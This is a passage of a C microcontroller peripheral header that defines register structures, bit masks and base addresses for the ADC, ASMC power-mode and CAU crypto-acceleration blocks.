__IO uint32_t CLP2; /**< ADC Plus-Side General Calibration Value Register, offset: 0x44 */
__IO uint32_t CLP1; /**< ADC Plus-Side General Calibration Value Register, offset: 0x48 */
__IO uint32_t CLP0; /**< ADC Plus-Side General Calibration Value Register, offset: 0x4C */
uint8_t RESERVED_0[4];
__IO uint32_t CLMD; /**< ADC Minus-Side General Calibration Value Register, offset: 0x54 */
__IO uint32_t CLMS; /**< ADC Minus-Side General Calibration Value Register, offset: 0x58 */
__IO uint32_t CLM4; /**< ADC Minus-Side General Calibration Value Register, offset: 0x5C */
__IO uint32_t CLM3; /**< ADC Minus-Side General Calibration Value Register, offset: 0x60 */
__IO uint32_t CLM2; /**< ADC Minus-Side General Calibration Value Register, offset: 0x64 */
__IO uint32_t CLM1; /**< ADC Minus-Side General Calibration Value Register, offset: 0x68 */
__IO uint32_t CLM0; /**< ADC Minus-Side General Calibration Value Register, offset: 0x6C */
} ADC_Type;
/* ----------------------------------------------------------------------------
-- ADC Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup ADC_Register_Masks ADC Register Masks
* @{
*/
/*! @name SC1 - ADC Status and Control Registers 1 */
#define ADC_SC1_ADCH_MASK (0x1FU)
#define ADC_SC1_ADCH_SHIFT (0U)
#define ADC_SC1_ADCH(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC1_ADCH_SHIFT)) & ADC_SC1_ADCH_MASK)
#define ADC_SC1_DIFF_MASK (0x20U)
#define ADC_SC1_DIFF_SHIFT (5U)
#define ADC_SC1_DIFF(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC1_DIFF_SHIFT)) & ADC_SC1_DIFF_MASK)
#define ADC_SC1_AIEN_MASK (0x40U)
#define ADC_SC1_AIEN_SHIFT (6U)
#define ADC_SC1_AIEN(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC1_AIEN_SHIFT)) & ADC_SC1_AIEN_MASK)
#define ADC_SC1_COCO_MASK (0x80U)
#define ADC_SC1_COCO_SHIFT (7U)
#define ADC_SC1_COCO(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC1_COCO_SHIFT)) & ADC_SC1_COCO_MASK)
/* The count of ADC_SC1 */
#define ADC_SC1_COUNT (2U)
/*! @name CFG1 - ADC Configuration Register 1 */
#define ADC_CFG1_ADICLK_MASK (0x3U)
#define ADC_CFG1_ADICLK_SHIFT (0U)
#define ADC_CFG1_ADICLK(x) (((uint32_t)(((uint32_t)(x)) << ADC_CFG1_ADICLK_SHIFT)) & ADC_CFG1_ADICLK_MASK)
#define ADC_CFG1_MODE_MASK (0xCU)
#define ADC_CFG1_MODE_SHIFT (2U)
#define ADC_CFG1_MODE(x) (((uint32_t)(((uint32_t)(x)) << ADC_CFG1_MODE_SHIFT)) & ADC_CFG1_MODE_MASK)
#define ADC_CFG1_ADLSMP_MASK (0x10U)
#define ADC_CFG1_ADLSMP_SHIFT (4U)
#define ADC_CFG1_ADLSMP(x) (((uint32_t)(((uint32_t)(x)) << ADC_CFG1_ADLSMP_SHIFT)) & ADC_CFG1_ADLSMP_MASK)
#define ADC_CFG1_ADIV_MASK (0x60U)
#define ADC_CFG1_ADIV_SHIFT (5U)
#define ADC_CFG1_ADIV(x) (((uint32_t)(((uint32_t)(x)) << ADC_CFG1_ADIV_SHIFT)) & ADC_CFG1_ADIV_MASK)
#define ADC_CFG1_ADLPC_MASK (0x80U)
#define ADC_CFG1_ADLPC_SHIFT (7U)
#define ADC_CFG1_ADLPC(x) (((uint32_t)(((uint32_t)(x)) << ADC_CFG1_ADLPC_SHIFT)) & ADC_CFG1_ADLPC_MASK)
/*! @name CFG2 - ADC Configuration Register 2 */
#define ADC_CFG2_ADLSTS_MASK (0x3U)
#define ADC_CFG2_ADLSTS_SHIFT (0U)
#define ADC_CFG2_ADLSTS(x) (((uint32_t)(((uint32_t)(x)) << ADC_CFG2_ADLSTS_SHIFT)) & ADC_CFG2_ADLSTS_MASK)
#define ADC_CFG2_ADHSC_MASK (0x4U)
#define ADC_CFG2_ADHSC_SHIFT (2U)
#define ADC_CFG2_ADHSC(x) (((uint32_t)(((uint32_t)(x)) << ADC_CFG2_ADHSC_SHIFT)) & ADC_CFG2_ADHSC_MASK)
#define ADC_CFG2_ADACKEN_MASK (0x8U)
#define ADC_CFG2_ADACKEN_SHIFT (3U)
#define ADC_CFG2_ADACKEN(x) (((uint32_t)(((uint32_t)(x)) << ADC_CFG2_ADACKEN_SHIFT)) & ADC_CFG2_ADACKEN_MASK)
#define ADC_CFG2_MUXSEL_MASK (0x10U)
#define ADC_CFG2_MUXSEL_SHIFT (4U)
#define ADC_CFG2_MUXSEL(x) (((uint32_t)(((uint32_t)(x)) << ADC_CFG2_MUXSEL_SHIFT)) & ADC_CFG2_MUXSEL_MASK)
/*! @name R - ADC Data Result Register */
#define ADC_R_D_MASK (0xFFFFU)
#define ADC_R_D_SHIFT (0U)
#define ADC_R_D(x) (((uint32_t)(((uint32_t)(x)) << ADC_R_D_SHIFT)) & ADC_R_D_MASK)
/* The count of ADC_R */
#define ADC_R_COUNT (2U)
/*! @name CV1 - Compare Value Registers */
#define ADC_CV1_CV_MASK (0xFFFFU)
#define ADC_CV1_CV_SHIFT (0U)
#define ADC_CV1_CV(x) (((uint32_t)(((uint32_t)(x)) << ADC_CV1_CV_SHIFT)) & ADC_CV1_CV_MASK)
/*! @name CV2 - Compare Value Registers */
#define ADC_CV2_CV_MASK (0xFFFFU)
#define ADC_CV2_CV_SHIFT (0U)
#define ADC_CV2_CV(x) (((uint32_t)(((uint32_t)(x)) << ADC_CV2_CV_SHIFT)) & ADC_CV2_CV_MASK)
/*! @name SC2 - Status and Control Register 2 */
#define ADC_SC2_REFSEL_MASK (0x3U)
#define ADC_SC2_REFSEL_SHIFT (0U)
#define ADC_SC2_REFSEL(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC2_REFSEL_SHIFT)) & ADC_SC2_REFSEL_MASK)
#define ADC_SC2_DMAEN_MASK (0x4U)
#define ADC_SC2_DMAEN_SHIFT (2U)
#define ADC_SC2_DMAEN(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC2_DMAEN_SHIFT)) & ADC_SC2_DMAEN_MASK)
#define ADC_SC2_ACREN_MASK (0x8U)
#define ADC_SC2_ACREN_SHIFT (3U)
#define ADC_SC2_ACREN(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC2_ACREN_SHIFT)) & ADC_SC2_ACREN_MASK)
#define ADC_SC2_ACFGT_MASK (0x10U)
#define ADC_SC2_ACFGT_SHIFT (4U)
#define ADC_SC2_ACFGT(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC2_ACFGT_SHIFT)) & ADC_SC2_ACFGT_MASK)
#define ADC_SC2_ACFE_MASK (0x20U)
#define ADC_SC2_ACFE_SHIFT (5U)
#define ADC_SC2_ACFE(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC2_ACFE_SHIFT)) & ADC_SC2_ACFE_MASK)
#define ADC_SC2_ADTRG_MASK (0x40U)
#define ADC_SC2_ADTRG_SHIFT (6U)
#define ADC_SC2_ADTRG(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC2_ADTRG_SHIFT)) & ADC_SC2_ADTRG_MASK)
#define ADC_SC2_ADACT_MASK (0x80U)
#define ADC_SC2_ADACT_SHIFT (7U)
#define ADC_SC2_ADACT(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC2_ADACT_SHIFT)) & ADC_SC2_ADACT_MASK)
/*! @name SC3 - Status and Control Register 3 */
#define ADC_SC3_AVGS_MASK (0x3U)
#define ADC_SC3_AVGS_SHIFT (0U)
#define ADC_SC3_AVGS(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC3_AVGS_SHIFT)) & ADC_SC3_AVGS_MASK)
#define ADC_SC3_AVGE_MASK (0x4U)
#define ADC_SC3_AVGE_SHIFT (2U)
#define ADC_SC3_AVGE(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC3_AVGE_SHIFT)) & ADC_SC3_AVGE_MASK)
#define ADC_SC3_ADCO_MASK (0x8U)
#define ADC_SC3_ADCO_SHIFT (3U)
#define ADC_SC3_ADCO(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC3_ADCO_SHIFT)) & ADC_SC3_ADCO_MASK)
#define ADC_SC3_CALF_MASK (0x40U)
#define ADC_SC3_CALF_SHIFT (6U)
#define ADC_SC3_CALF(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC3_CALF_SHIFT)) & ADC_SC3_CALF_MASK)
#define ADC_SC3_CAL_MASK (0x80U)
#define ADC_SC3_CAL_SHIFT (7U)
#define ADC_SC3_CAL(x) (((uint32_t)(((uint32_t)(x)) << ADC_SC3_CAL_SHIFT)) & ADC_SC3_CAL_MASK)
/*! @name OFS - ADC Offset Correction Register */
#define ADC_OFS_OFS_MASK (0xFFFFU)
#define ADC_OFS_OFS_SHIFT (0U)
#define ADC_OFS_OFS(x) (((uint32_t)(((uint32_t)(x)) << ADC_OFS_OFS_SHIFT)) & ADC_OFS_OFS_MASK)
/*! @name PG - ADC Plus-Side Gain Register */
#define ADC_PG_PG_MASK (0xFFFFU)
#define ADC_PG_PG_SHIFT (0U)
#define ADC_PG_PG(x) (((uint32_t)(((uint32_t)(x)) << ADC_PG_PG_SHIFT)) & ADC_PG_PG_MASK)
/*! @name MG - ADC Minus-Side Gain Register */
#define ADC_MG_MG_MASK (0xFFFFU)
#define ADC_MG_MG_SHIFT (0U)
#define ADC_MG_MG(x) (((uint32_t)(((uint32_t)(x)) << ADC_MG_MG_SHIFT)) & ADC_MG_MG_MASK)
/*! @name CLPD - ADC Plus-Side General Calibration Value Register */
#define ADC_CLPD_CLPD_MASK (0x3FU)
#define ADC_CLPD_CLPD_SHIFT (0U)
#define ADC_CLPD_CLPD(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLPD_CLPD_SHIFT)) & ADC_CLPD_CLPD_MASK)
/*! @name CLPS - ADC Plus-Side General Calibration Value Register */
#define ADC_CLPS_CLPS_MASK (0x3FU)
#define ADC_CLPS_CLPS_SHIFT (0U)
#define ADC_CLPS_CLPS(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLPS_CLPS_SHIFT)) & ADC_CLPS_CLPS_MASK)
/*! @name CLP4 - ADC Plus-Side General Calibration Value Register */
#define ADC_CLP4_CLP4_MASK (0x3FFU)
#define ADC_CLP4_CLP4_SHIFT (0U)
#define ADC_CLP4_CLP4(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLP4_CLP4_SHIFT)) & ADC_CLP4_CLP4_MASK)
/*! @name CLP3 - ADC Plus-Side General Calibration Value Register */
#define ADC_CLP3_CLP3_MASK (0x1FFU)
#define ADC_CLP3_CLP3_SHIFT (0U)
#define ADC_CLP3_CLP3(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLP3_CLP3_SHIFT)) & ADC_CLP3_CLP3_MASK)
/*! @name CLP2 - ADC Plus-Side General Calibration Value Register */
#define ADC_CLP2_CLP2_MASK (0xFFU)
#define ADC_CLP2_CLP2_SHIFT (0U)
#define ADC_CLP2_CLP2(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLP2_CLP2_SHIFT)) & ADC_CLP2_CLP2_MASK)
/*! @name CLP1 - ADC Plus-Side General Calibration Value Register */
#define ADC_CLP1_CLP1_MASK (0x7FU)
#define ADC_CLP1_CLP1_SHIFT (0U)
#define ADC_CLP1_CLP1(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLP1_CLP1_SHIFT)) & ADC_CLP1_CLP1_MASK)
/*! @name CLP0 - ADC Plus-Side General Calibration Value Register */
#define ADC_CLP0_CLP0_MASK (0x3FU)
#define ADC_CLP0_CLP0_SHIFT (0U)
#define ADC_CLP0_CLP0(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLP0_CLP0_SHIFT)) & ADC_CLP0_CLP0_MASK)
/*! @name CLMD - ADC Minus-Side General Calibration Value Register */
#define ADC_CLMD_CLMD_MASK (0x3FU)
#define ADC_CLMD_CLMD_SHIFT (0U)
#define ADC_CLMD_CLMD(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLMD_CLMD_SHIFT)) & ADC_CLMD_CLMD_MASK)
/*! @name CLMS - ADC Minus-Side General Calibration Value Register */
#define ADC_CLMS_CLMS_MASK (0x3FU)
#define ADC_CLMS_CLMS_SHIFT (0U)
#define ADC_CLMS_CLMS(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLMS_CLMS_SHIFT)) & ADC_CLMS_CLMS_MASK)
/*! @name CLM4 - ADC Minus-Side General Calibration Value Register */
#define ADC_CLM4_CLM4_MASK (0x3FFU)
#define ADC_CLM4_CLM4_SHIFT (0U)
#define ADC_CLM4_CLM4(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLM4_CLM4_SHIFT)) & ADC_CLM4_CLM4_MASK)
/*! @name CLM3 - ADC Minus-Side General Calibration Value Register */
#define ADC_CLM3_CLM3_MASK (0x1FFU)
#define ADC_CLM3_CLM3_SHIFT (0U)
#define ADC_CLM3_CLM3(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLM3_CLM3_SHIFT)) & ADC_CLM3_CLM3_MASK)
/*! @name CLM2 - ADC Minus-Side General Calibration Value Register */
#define ADC_CLM2_CLM2_MASK (0xFFU)
#define ADC_CLM2_CLM2_SHIFT (0U)
#define ADC_CLM2_CLM2(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLM2_CLM2_SHIFT)) & ADC_CLM2_CLM2_MASK)
/*! @name CLM1 - ADC Minus-Side General Calibration Value Register */
#define ADC_CLM1_CLM1_MASK (0x7FU)
#define ADC_CLM1_CLM1_SHIFT (0U)
#define ADC_CLM1_CLM1(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLM1_CLM1_SHIFT)) & ADC_CLM1_CLM1_MASK)
/*! @name CLM0 - ADC Minus-Side General Calibration Value Register */
#define ADC_CLM0_CLM0_MASK (0x3FU)
#define ADC_CLM0_CLM0_SHIFT (0U)
#define ADC_CLM0_CLM0(x) (((uint32_t)(((uint32_t)(x)) << ADC_CLM0_CLM0_SHIFT)) & ADC_CLM0_CLM0_MASK)
/*!
* @}
*/ /* end of group ADC_Register_Masks */
/* ADC - Peripheral instance base addresses */
/** Peripheral ADC0 base address */
#define ADC0_BASE (0x40066000u)
/** Peripheral ADC0 base pointer */
#define ADC0 ((ADC_Type *)ADC0_BASE)
/** Array initializer of ADC peripheral base addresses */
#define ADC_BASE_ADDRS { ADC0_BASE }
/** Array initializer of ADC peripheral base pointers */
#define ADC_BASE_PTRS { ADC0 }
/** Interrupt vectors for the ADC peripheral type */
#define ADC_IRQS { ADC0_IRQn }
/*!
* @}
*/ /* end of group ADC_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- ASMC Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup ASMC_Peripheral_Access_Layer ASMC Peripheral Access Layer
* @{
*/
/** ASMC - Register Layout Typedef */
typedef struct {
__I uint32_t SRS; /**< System Reset Status Register, offset: 0x0 */
uint8_t RESERVED_0[4];
__IO uint32_t PMPROT; /**< Power Mode Protection register, offset: 0x8 */
__IO uint32_t PMCTRL; /**< Power Mode Control register, offset: 0xC */
__IO uint32_t STOPCTRL; /**< Stop Control Register, offset: 0x10 */
__I uint32_t PMSTAT; /**< Power Mode Status register, offset: 0x14 */
} ASMC_Type;
/* ----------------------------------------------------------------------------
-- ASMC Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup ASMC_Register_Masks ASMC Register Masks
* @{
*/
/*! @name SRS - System Reset Status Register */
#define ASMC_SRS_WAKEUP_MASK (0x1U)
#define ASMC_SRS_WAKEUP_SHIFT (0U)
#define ASMC_SRS_WAKEUP(x) (((uint32_t)(((uint32_t)(x)) << ASMC_SRS_WAKEUP_SHIFT)) & ASMC_SRS_WAKEUP_MASK)
#define ASMC_SRS_WDOG1_MASK (0x20U)
#define ASMC_SRS_WDOG1_SHIFT (5U)
#define ASMC_SRS_WDOG1(x) (((uint32_t)(((uint32_t)(x)) << ASMC_SRS_WDOG1_SHIFT)) & ASMC_SRS_WDOG1_MASK)
#define ASMC_SRS_RES_MASK (0x40U)
#define ASMC_SRS_RES_SHIFT (6U)
#define ASMC_SRS_RES(x) (((uint32_t)(((uint32_t)(x)) << ASMC_SRS_RES_SHIFT)) & ASMC_SRS_RES_MASK)
#define ASMC_SRS_POR_MASK (0x80U)
#define ASMC_SRS_POR_SHIFT (7U)
#define ASMC_SRS_POR(x) (((uint32_t)(((uint32_t)(x)) << ASMC_SRS_POR_SHIFT)) & ASMC_SRS_POR_MASK)
#define ASMC_SRS_LOCKUP_MASK (0x200U)
#define ASMC_SRS_LOCKUP_SHIFT (9U)
#define ASMC_SRS_LOCKUP(x) (((uint32_t)(((uint32_t)(x)) << ASMC_SRS_LOCKUP_SHIFT)) & ASMC_SRS_LOCKUP_MASK)
#define ASMC_SRS_SW_MASK (0x400U)
#define ASMC_SRS_SW_SHIFT (10U)
#define ASMC_SRS_SW(x) (((uint32_t)(((uint32_t)(x)) << ASMC_SRS_SW_SHIFT)) & ASMC_SRS_SW_MASK)
#define ASMC_SRS_SACKERR_MASK (0x1000U)
#define ASMC_SRS_SACKERR_SHIFT (12U)
#define ASMC_SRS_SACKERR(x) (((uint32_t)(((uint32_t)(x)) << ASMC_SRS_SACKERR_SHIFT)) & ASMC_SRS_SACKERR_MASK)
/*! @name PMPROT - Power Mode Protection register */
#define ASMC_PMPROT_AVLLS_MASK (0x2U)
#define ASMC_PMPROT_AVLLS_SHIFT (1U)
#define ASMC_PMPROT_AVLLS(x) (((uint32_t)(((uint32_t)(x)) << ASMC_PMPROT_AVLLS_SHIFT)) & ASMC_PMPROT_AVLLS_MASK)
#define ASMC_PMPROT_ALLS_MASK (0x8U)
#define ASMC_PMPROT_ALLS_SHIFT (3U)
#define ASMC_PMPROT_ALLS(x) (((uint32_t)(((uint32_t)(x)) << ASMC_PMPROT_ALLS_SHIFT)) & ASMC_PMPROT_ALLS_MASK)
#define ASMC_PMPROT_AVLP_MASK (0x20U)
#define ASMC_PMPROT_AVLP_SHIFT (5U)
#define ASMC_PMPROT_AVLP(x) (((uint32_t)(((uint32_t)(x)) << ASMC_PMPROT_AVLP_SHIFT)) & ASMC_PMPROT_AVLP_MASK)
#define ASMC_PMPROT_AHSRUN_MASK (0x80U)
#define ASMC_PMPROT_AHSRUN_SHIFT (7U)
#define ASMC_PMPROT_AHSRUN(x) (((uint32_t)(((uint32_t)(x)) << ASMC_PMPROT_AHSRUN_SHIFT)) & ASMC_PMPROT_AHSRUN_MASK)
/*! @name PMCTRL - Power Mode Control register */
#define ASMC_PMCTRL_STOPM_MASK (0x7U)
#define ASMC_PMCTRL_STOPM_SHIFT (0U)
#define ASMC_PMCTRL_STOPM(x) (((uint32_t)(((uint32_t)(x)) << ASMC_PMCTRL_STOPM_SHIFT)) & ASMC_PMCTRL_STOPM_MASK)
#define ASMC_PMCTRL_RUNM_MASK (0x60U)
#define ASMC_PMCTRL_RUNM_SHIFT (5U)
#define ASMC_PMCTRL_RUNM(x) (((uint32_t)(((uint32_t)(x)) << ASMC_PMCTRL_RUNM_SHIFT)) & ASMC_PMCTRL_RUNM_MASK)
/*! @name STOPCTRL - Stop Control Register */
#define ASMC_STOPCTRL_PSTOPO_MASK (0xC0U)
#define ASMC_STOPCTRL_PSTOPO_SHIFT (6U)
#define ASMC_STOPCTRL_PSTOPO(x) (((uint32_t)(((uint32_t)(x)) << ASMC_STOPCTRL_PSTOPO_SHIFT)) & ASMC_STOPCTRL_PSTOPO_MASK)
/*! @name PMSTAT - Power Mode Status register */
#define ASMC_PMSTAT_PMSTAT_MASK (0xFFU)
#define ASMC_PMSTAT_PMSTAT_SHIFT (0U)
#define ASMC_PMSTAT_PMSTAT(x) (((uint32_t)(((uint32_t)(x)) << ASMC_PMSTAT_PMSTAT_SHIFT)) & ASMC_PMSTAT_PMSTAT_MASK)
/*!
* @}
*/ /* end of group ASMC_Register_Masks */
/* ASMC - Peripheral instance base addresses */
/** Peripheral ASMC base address */
#define ASMC_BASE (0x400F5000u)
/** Peripheral ASMC base pointer */
#define ASMC ((ASMC_Type *)ASMC_BASE)
/** Array initializer of ASMC peripheral base addresses */
#define ASMC_BASE_ADDRS { ASMC_BASE }
/** Array initializer of ASMC peripheral base pointers */
#define ASMC_BASE_PTRS { ASMC }
/*!
* @}
*/ /* end of group ASMC_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- CAU Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup CAU_Peripheral_Access_Layer CAU Peripheral Access Layer
* @{
*/
/** CAU - Register Layout Typedef */
typedef struct {
__O uint32_t DIRECT[16]; /**< Direct access register 0..Direct access register 15, array offset: 0x0, array step: 0x4 */
uint8_t RESERVED_0[2048];
__O uint32_t LDR_CASR; /**< Status register - Load Register command, offset: 0x840 */
__O uint32_t LDR_CAA; /**< Accumulator register - Load Register command, offset: 0x844 */
__O uint32_t LDR_CA[9]; /**< General Purpose Register 0 - Load Register command..General Purpose Register 8 - Load Register command, array offset: 0x848, array step: 0x4 */
uint8_t RESERVED_1[20];
__I uint32_t STR_CASR; /**< Status register - Store Register command, offset: 0x880 */
__I uint32_t STR_CAA; /**< Accumulator register - Store Register command, offset: 0x884 */
__I uint32_t STR_CA[9]; /**< General Purpose Register 0 - Store Register command..General Purpose Register 8 - Store Register command, array offset: 0x888, array step: 0x4 */
uint8_t RESERVED_2[20];
__O uint32_t ADR_CASR; /**< Status register - Add Register command, offset: 0x8C0 */
__O uint32_t ADR_CAA; /**< Accumulator register - Add to register command, offset: 0x8C4 */
__O uint32_t ADR_CA[9]; /**< General Purpose Register 0 - Add to register command..General Purpose Register 8 - Add to register command, array offset: 0x8C8, array step: 0x4 */
uint8_t RESERVED_3[20];
__O uint32_t RADR_CASR; /**< Status register - Reverse and Add to Register command, offset: 0x900 */
__O uint32_t RADR_CAA; /**< Accumulator register - Reverse and Add to Register command, offset: 0x904 */
__O uint32_t RADR_CA[9]; /**< General Purpose Register 0 - Reverse and Add to Register command..General Purpose Register 8 - Reverse and Add to Register command, array offset: 0x908, array step: 0x4 */
uint8_t RESERVED_4[84];
__O uint32_t XOR_CASR; /**< Status register - Exclusive Or command, offset: 0x980 */
__O uint32_t XOR_CAA; /**< Accumulator register - Exclusive Or command, offset: 0x984 */
__O uint32_t XOR_CA[9]; /**< General Purpose Register 0 - Exclusive Or command..General Purpose Register 8 - Exclusive Or command, array offset: 0x988, array step: 0x4 */
uint8_t RESERVED_5[20];
__O uint32_t ROTL_CASR; /**< Status register - Rotate Left command, offset: 0x9C0 */
__O uint32_t ROTL_CAA; /**< Accumulator register - Rotate Left command, offset: 0x9C4 */
__O uint32_t ROTL_CA[9]; /**< General Purpose Register 0 - Rotate Left command..General Purpose Register 8 - Rotate Left command, array offset: 0x9C8, array step: 0x4 */
uint8_t RESERVED_6[276];
__O uint32_t AESC_CASR; /**< Status register - AES Column Operation command, offset: 0xB00 */
__O uint32_t AESC_CAA; /**< Accumulator register - AES Column Operation command, offset: 0xB04 */
__O uint32_t AESC_CA[9]; /**< General Purpose Register 0 - AES Column Operation command..General Purpose Register 8 - AES Column Operation command, array offset: 0xB08, array step: 0x4 */
uint8_t RESERVED_7[20];
__O uint32_t AESIC_CASR; /**< Status register - AES Inverse Column Operation command, offset: 0xB40 */
__O uint32_t AESIC_CAA; /**< Accumulator register - AES Inverse Column Operation command, offset: 0xB44 */
__O uint32_t AESIC_CA[9]; /**< General Purpose Register 0 - AES Inverse Column Operation command..General Purpose Register 8 - AES Inverse Column Operation command, array offset: 0xB48, array step: 0x4 */
} CAU_Type;
/* ----------------------------------------------------------------------------
-- CAU Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup CAU_Register_Masks CAU Register Masks
* @{
*/
/*! @name DIRECT - Direct access register 0..Direct access register 15 */
#define CAU_DIRECT_CAU_DIRECT0_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT0_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT0(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT0_SHIFT)) & CAU_DIRECT_CAU_DIRECT0_MASK)
#define CAU_DIRECT_CAU_DIRECT1_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT1_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT1(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT1_SHIFT)) & CAU_DIRECT_CAU_DIRECT1_MASK)
#define CAU_DIRECT_CAU_DIRECT2_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT2_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT2(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT2_SHIFT)) & CAU_DIRECT_CAU_DIRECT2_MASK)
#define CAU_DIRECT_CAU_DIRECT3_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT3_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT3(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT3_SHIFT)) & CAU_DIRECT_CAU_DIRECT3_MASK)
#define CAU_DIRECT_CAU_DIRECT4_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT4_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT4(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT4_SHIFT)) & CAU_DIRECT_CAU_DIRECT4_MASK)
#define CAU_DIRECT_CAU_DIRECT5_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT5_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT5(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT5_SHIFT)) & CAU_DIRECT_CAU_DIRECT5_MASK)
#define CAU_DIRECT_CAU_DIRECT6_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT6_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT6(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT6_SHIFT)) & CAU_DIRECT_CAU_DIRECT6_MASK)
#define CAU_DIRECT_CAU_DIRECT7_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT7_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT7(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT7_SHIFT)) & CAU_DIRECT_CAU_DIRECT7_MASK)
#define CAU_DIRECT_CAU_DIRECT8_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT8_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT8(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT8_SHIFT)) & CAU_DIRECT_CAU_DIRECT8_MASK)
#define CAU_DIRECT_CAU_DIRECT9_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT9_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT9(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT9_SHIFT)) & CAU_DIRECT_CAU_DIRECT9_MASK)
#define CAU_DIRECT_CAU_DIRECT10_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT10_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT10(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT10_SHIFT)) & CAU_DIRECT_CAU_DIRECT10_MASK)
#define CAU_DIRECT_CAU_DIRECT11_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT11_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT11(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT11_SHIFT)) & CAU_DIRECT_CAU_DIRECT11_MASK)
#define CAU_DIRECT_CAU_DIRECT12_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT12_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT12(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT12_SHIFT)) & CAU_DIRECT_CAU_DIRECT12_MASK)
#define CAU_DIRECT_CAU_DIRECT13_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT13_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT13(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT13_SHIFT)) & CAU_DIRECT_CAU_DIRECT13_MASK)
#define CAU_DIRECT_CAU_DIRECT14_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT14_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT14(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT14_SHIFT)) & CAU_DIRECT_CAU_DIRECT14_MASK)
#define CAU_DIRECT_CAU_DIRECT15_MASK (0xFFFFFFFFU)
#define CAU_DIRECT_CAU_DIRECT15_SHIFT (0U)
#define CAU_DIRECT_CAU_DIRECT15(x) (((uint32_t)(((uint32_t)(x)) << CAU_DIRECT_CAU_DIRECT15_SHIFT)) & CAU_DIRECT_CAU_DIRECT15_MASK)
/* The count of CAU_DIRECT */
#define CAU_DIRECT_COUNT (16U)
/*! @name LDR_CASR - Status register - Load Register command */
#define CAU_LDR_CASR_IC_MASK (0x1U)
#define CAU_LDR_CASR_IC_SHIFT (0U)
